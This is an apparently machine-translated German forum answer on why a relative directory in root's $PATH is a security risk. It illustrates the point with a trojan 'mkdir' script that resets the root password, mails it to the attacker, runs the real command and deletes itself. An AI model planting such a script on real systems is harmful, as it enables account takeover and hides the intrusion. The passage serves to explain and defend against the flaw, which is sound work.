Es gibt zwei Probleme mit dem Pfad, den Sie verwenden.
- Der Pfad ist relativ.
- Der relative Pfad kommt vorher die Hauptwege.
Nehmen wir an, Sie haben das folgende Shell-Skript, das Sie als Root verwenden, um eine Webanwendung zu aktualisieren, und Sie haben den $PATH
festgelegt in /etc/profile
verwendet wird
#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
Sie bieten einem Angreifer die Möglichkeit, etwas in der Shell auszuführen, die von diesem Angreifer kontrolliert wird. Eine Form des Angriffs würde so aussehen - wo ich versuche, die Kontrolle über mkdir
zu untergraben Rufen Sie das anfällige Skript auf.
attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir [email protected]
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
Dann warte ich darauf, dass Sie Ihre Webapp aktualisieren.
Was nun passiert, ist, dass das anfällige Skript zu /dev/shm
wechselt . Wenn es dies tut und mkdir
ausführt es findet apps/java/bin/mkdir
Programm zuerst, das in diesem Fall das Root-Passwort zurücksetzt, dem Angreifer das neue Root-Passwort per E-Mail zuschickt, tatsächlich den echten mkdir
aufruft (um zu verbergen, dass tatsächlich etwas passiert ist) und entfernt sich aus dem Angriffspfad.
Als Root haben Sie nein Ahnung, was passiert ist, und die Beweise werden gelöscht, sobald die Nutzlast geliefert wurde.
Das Problem mit einem relativen Pfad in $PATH besteht darin, dass Sie riskieren, diese Datei auszuführen, wenn ein Angreifer eine Datei mit einem bestimmten Namen in Ihrem Dateisystem erstellen kann.
Beispiel:df
oder die Überwachung sagt, dass /var voll ist, du
sagt, es ist /var/spool/ftp/uploads
, was machst du?
cd /var/spool/ftp/uploads
ls -ltr
und du bist im Besitz. Sie sehen nicht einmal ls
in der Ausgabe, sodass Sie es nie erfahren werden.
Ersetzen Sie FTP-Uploads durch ein Datenverzeichnis einer Client-Website oder das /tmp-Verzeichnis einer gemeinsam genutzten Maschine oder viele andere Dinge.
Zugegeben, es wird nicht oft vorkommen, aber das Risiko besteht, und ./script
zu schreiben statt script
ist einfach.